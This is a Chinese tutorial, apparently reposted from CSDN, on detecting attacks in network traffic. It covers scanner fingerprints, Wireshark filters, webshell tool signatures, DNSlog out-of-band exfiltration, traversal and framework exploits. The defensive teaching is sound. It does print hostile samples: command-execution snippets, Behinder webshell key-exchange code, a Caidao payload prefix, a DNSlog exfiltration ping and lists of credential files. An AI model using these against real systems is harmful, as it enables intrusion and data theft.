问小白 wenxiaobai
资讯
历史
科技
环境与自然
成长
游戏
财经
文学与艺术
美食
健康
家居
文化
情感
汽车
三农
军事
旅行
运动
教育
生活
星座命理

网络安全流量分析

创作时间:
作者:
@小白创作中心

网络安全流量分析

引用
CSDN
1.
https://blog.csdn.net/qq_50573282/article/details/140199240

网络安全流量分析是保障网络安全的重要手段之一。通过分析网络中流动的数据包,可以及时发现网络运行过程中出现的安全问题。本文将详细介绍网络安全流量分析的基本概念、常用工具、分析技巧以及各种攻击流量的特征,帮助读者掌握网络安全流量分析的核心知识。

流量分析常使用工具

  1. Wireshark:功能强大的网络协议分析工具,支持实时捕获和离线分析。
  2. tcpdump:针对数据包进行截取分包的工具,常用于Linux系统。
  3. RawCap:针对Windows系统的开源数据包捕获工具。

常用流量分析技巧

  1. 发现异常:通过流量分析发现异常行为,如异常的流量模式、异常的请求频率等。
  2. 指纹识别:通过识别特定工具或软件的流量特征,判断网络是否正在遭受攻击。
  3. 明文传输:检查是否存在敏感信息的明文传输。
  4. 图片提取:从流量中提取图片信息,用于进一步分析。

常见扫描器指纹特征

  • Awvs

  • acunetix_wvs_security_test

  • acunetix

  • acunetix_wvs

  • acunetix_test

  • Acunetix-Aspect-Password:Cookie:

  • acunetix_wvs_security_test X-Forwarded-Host:

  • acunetix_wvs_security_test X-Forwarder-For:

  • acunetix_wvs-security_test Host:

  • acunetix_wvs_security_test

  • Nessus

  • x_forwarded_for:nessus

  • referer:nessus

  • host:nessus

  • Netsparker

  • X-Scanner:NetsparkerLocation:

  • NetsparkerAccept:netsparker/chechCookie:

  • netsparkerCookie:NETSPARKER

  • Appscan

  • Headers Content-Type:Appscan

  • Content-Type:AppScanHeader

  • Accept:Appscan

  • User-Agent:Appscan

  • sqlmap

  • User-Agent:sqlmap1.2.8#stab

若发现包含有这些特征的流量,表明网络大概率正在遭受攻击!

Wireshark的常见过滤规则

  1. 过滤源IP,语法:
  • ip.src == IP 或 ip.src eq IP
  1. 目的IP:ip.dst == IP或 ip.dst eq IP

  2. 指定主机IP(源或目的):ip.host == IP或 ip.host eq IP,或者用ip.addr(addr与host作用一样)

可以使用and和or进行筛选

  1. 端口过滤:要指明协议是TCP还是UDP,可以用srcport,dstport,port,端口可以用比较符合>,>=,

过滤目的端口是80端口的TCP报文

  1. 协议过滤
  • 只显示TCP报文
  • 只显示HTTP报文
  1. 过滤HTTP的GET请求和POST请求,以及HTTP过滤内容
  • http.request.method == GET
  1. 过滤HTTP协议的响应包,响应码是200的(contains--内容)

  2. 跟踪TCP、HTTP流等

流量特征

SQL注入类流量

SQL注入类攻击的出现是因为服务器没有对用户输入语句进行有效检验过滤就直接执行而导致。如果是使用工具发起的进攻可以直接通过工具指纹进行判断。若是手工测试则可通过在请求包中查看是否有明显的SQL查询语句,如 Select、sleep、database()等。

命令执行类流量

远程命令/代码执行漏洞(RCE)是指可以在仅有远程访问权限的情况下执行系统命令的漏洞,是安全漏洞中危害最大的漏洞之一。

  • ASP执行系统命令

  • CreateObject("wscript.shell").exec("cmd.exe/c
    ipconfig").StdOut.ReadAll%>

  • 常见命令:dir,ping,whoami,ipconfig,ifconfig,systeminfo等,通过&&或者||符号进行拼接。

  • PHP系统命令执行函数

  • exec()

  • system()

  • passthru()

  • shell_exec()

  • JSP执行系统命令

  • Runtimerun=Runtime.getRuntime();

  • run.exec("ipconfig");

  • 常见的代码执行函数

  • eval()

  • assert()

  • preg_replace()

  • create_function()

  • array_map()

  • call_user_func()

  • call_user_func_array()

菜刀WebShell连接流量

WebShell的起因一般是一句话木马。目前主流的WebShell管理工具主要有:菜刀、蚁剑、哥斯拉、冰蝎。

  • 菜刀数据包流量特征
    1. 请求包中:ua头为百度,火狐(弱特征);
    2. 请求体中存在eavl,base64等特征字符
    3. 请求体中传递的payload为base64编码,并且存在固定的
      QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVS
      U0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J一
      段编码

开头看到base64_基本上就可以判断他是使用的菜刀

蚁剑WebShell连接流量

  • 蚁剑数据包流量特征
    每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且后面存在base64等字符;使用base64加密的payload,数据包存在base64加密的eval命令执行函数,数据包的payload内容存在几个分段内容,分别都使用base加密,解密后可以看到相关的路径,命令等。响应包的结果返回格式为:随机数 + 响应内容 + 随机数

这张图是base64加密了的。

冰蝎WebShell连接流量

冰蝎2.0是一款基于Java开发的动态加密通信流量的新型Webshell客户端。

  • 通信过程可以分为两个阶段:密钥协商和加密传输

(1)第一阶段:密钥协商
攻击者通过GET方式请求服务器密钥:
代码部分如下:
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}

服务端用之前生成的密钥进行AES128解密请求的post数据
服务端使用随机数高16位作为密钥,并且存储到会话的$_SESSION变量中,并返回密钥给攻击者
当我们输入命令操作后,请求方式就会变成POST
用分割线生成数组,然后取数组第1位元素的值,最后eval执行
显然它将返回结果也加密了

第一步:协商key》对应session
第二步:使用key AES加密流量

(3)特征总结
a.ACCEPT字段
冰蝎2默认Accept字段的值很特殊,而且每个阶段都一样
Accept: text/html, image/gif, image/jpeg, *; q=.2, /

b.UA字段
冰蝎内置了十余种 UserAgent ,每次连接 shell 会随机选择一个进行使用。但都是比较老的,容易被
检测到,但是可以在burp中修改ua头。

冰蝎3.0
对比冰蝎2,冰蝎3取消动态密钥获取,目前很多waf等设备都做了冰蝎2的流量特征分析,所以3.0取消了动态密钥获取;只有在无动态密钥交互失败后,才会进入常规的密钥交互阶段。密钥生成可以看出,使用密码的md5结果的前16位
key固定
1、服务器找缓存文件substrate(md5(key),16)
2、服务器找码子
3、枚举key爆破解密AES

数据包加密分析:
当我们去请求连接服务端的php文件时,会在服务端的会话中存储一个$_SESSION变量,也就是密钥$key
然后服务端用生成的密钥去解密请求的POST数据包内容后续的执行代码可以和冰蝎2相同,就不做赘述了
其流量特征:
(1)Accept头有application/xhtml+xmlapplication/xmlapplication/signed-exchange属于弱特征
(2)ua头该特征属于弱特征。通过burp可以修改,冰蝎3.0内置的默认16个userAgent都比较老。现实生活中很少有人使用,所以这个也可以作为waf规则特征

冰蝎4.0
冰蝎v4.0相对于3.0版本,更新了较多内容,其中包括了开放了传输协议的自定义功能
且冰蝎v4.0版本没有再附带server端代码,因为加解密函数是不固定的,因此服务端也是动态生成的
生成木马:点击左上角的传输协议,然后选择default_aes协议,点击生成服务端,即可创建server服务端文件,同时生成木马文件
为了方便加解密一致性校验,冰蝎提供了即时加解密验证功能,输入加解密函数以后,可直接在窗口下方进行验证
点击保存,即可生成服务端的文件里面的木马

流量特征:
(1)Accept字段:
(2)Content-Type字段
(3)User-agent 字段:冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用

哥斯拉WebShell连接流量

哥斯拉是一个基于流量、HTTP全加密的webshell管理工具;

流量特征如下:
DNS外连流量:
实际渗透测试中,有些漏洞因为没有回显导致无法准确判断漏洞是否存在,可能导致渗透测试人员浪费大量精力在一个并不存在的漏洞上,因此为了验证一些无回显漏洞,可以结合DNSlog平台进行测试
存在无回显漏洞的主机访问DNSlog平台就会留下DNS解析记录,可以通过DNS解析记录查看最终的执行结果,如示例中的语句:
ping whoami.cp2wj5.dnslog.cn (''是将里面的内容当作命令来进行执行)
此语句实际上是:
ping www-data.yafjqc.dnslog.cn

流量分析:
1、通过wireshark查看DNS流量查看是否有威胁内容
2、查看DNS解析记录通过记录内容进行判断

把命令和访问的域名结合起来打包发送给DNS服 务器
DNS流量在UDP(或TCP)53端口上运行,可以通过53端口上的过滤来提取
1、看有没有携带命令。
2、看他有没有访问恶意域名。
ceye.io ->dnslog平台
asdbj.ceye.io ->个人专用dnslog域名(随机的)
XXXXXX.asndka.ceye.io ->成功外带的数据
通过命令查看本地DNS解析记录缓存:ipconfig /displaydn

其他类型恶意流量

  • 文件上传流量分析
    一般都是通过web来实现,可以先从http开始筛选。一般都是POST方法,以POST作为筛选条件
    http.request.method == POST
    观察流量记录,大部分POST请求都在访问一个html文件,而唯独有一个数据帧在对upload文件夹进行访问
    uploads(文件上传) 后面()中是文件上传的类型
    查看该数据帧,可以看到明显的content type绕过,同时可以根据文件内容进行分析
    (利用的文件类型绕过,实际上是一个php文件木马)
    基本上看到

  • 拒绝服务流量分析
    目前有很多种类型的拒绝服务攻击方式,其中最为典型的两种是SYN flooding攻击和UDP flooding攻击。SYN flooding攻击是针对TCP协议的,它的主要目的是占用目标上所有可用的连接请求。而UDP flooding攻击则是针对UDP协议的,主要目的是耗尽目标所在网络的带宽。此处以SYN flooding 为例。
    SYN flooding攻击和UDP flooding攻击(只发送握手请求不会回应的的握手回应)
    左下角限制显示过滤器,勾上后会显示使用显示过滤器过滤后的包
    以下为正常的tcp流
    syn泛洪攻击的流量,可以看到没有应答的包

  • 目录遍历流量分析
    Linux敏感目录
    1,/etc/passwd // 账户信息
    2,/etc/shadow // 账户密码文件
    3,/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
    4,/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
    5,/usr/local/app/php5/lib/php.ini // PHP相关配置
    6,/etc/httpd/conf/httpd.conf // Apache配置文件
    7,/etc/my.conf // mysql 配置文件
    Windows敏感目录:
    1,c:\boot.ini // 查看系统版本
    2,c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
    3,c:\windows\repair\sam // 存储Windows系统初次安装的密码
    4,c:\ProgramFiles\mysql\my.ini // MySQL配置
    5,c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
    6,c:\windows\php.ini // php 配置信息
    查看数据,追踪HTTP数据流,查看URL中包含../字符,判断此数据包涉及目录遍历漏洞利用过程
    (返回你的根目录)

常见框架漏洞及特征

  • ThinkPHP 5.x RCE 漏洞
    5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
    漏洞代码如下:

    根据漏洞源码构造payload:
    调用$this->{$this->method}($_POST);语句。当我们可以控制$method的值时,就可以调用Request类的任意方法,而当调用构造方法__construct()时,就可以覆盖Request类的任意成员变量,可以覆盖$this->method,指定check()方法中的$method值。

  • Struts2-009远程代码执行漏洞
    漏洞成因:当前版本的action中接受了某个参数example,这个参数将进入OGNL的上下文。我们可以将OGNL表达式放在example参数中,然后使用/ XXXXXXX.acton?example=&(example)(‘xxx’)=1的方法来执行绕过它,从而绕过官方对#、\等特殊字符的防御。
    流量特征:GET请求之后拼接域名中包括Struts2、exec等关键字以及OGNL表达式
    可以据此构造payload进行重发包

  • shiro cve-2016-4437框架漏洞
    26行默认key值
    32行用默认key值对他的密钥进行赋值
    解密还是使用的AES解密
    特征:Cookie中的rememberMe内容、解密rememberMe可获取异常信息。(Cookie:rememberMe字段说明利用了shiro漏洞)
    将rememberMe后的复制去土豆师傅shiro平台进行反编译

本文原文来自CSDN

© 2023 北京元石科技有限公司 ◎ 京公网安备 11010802042949号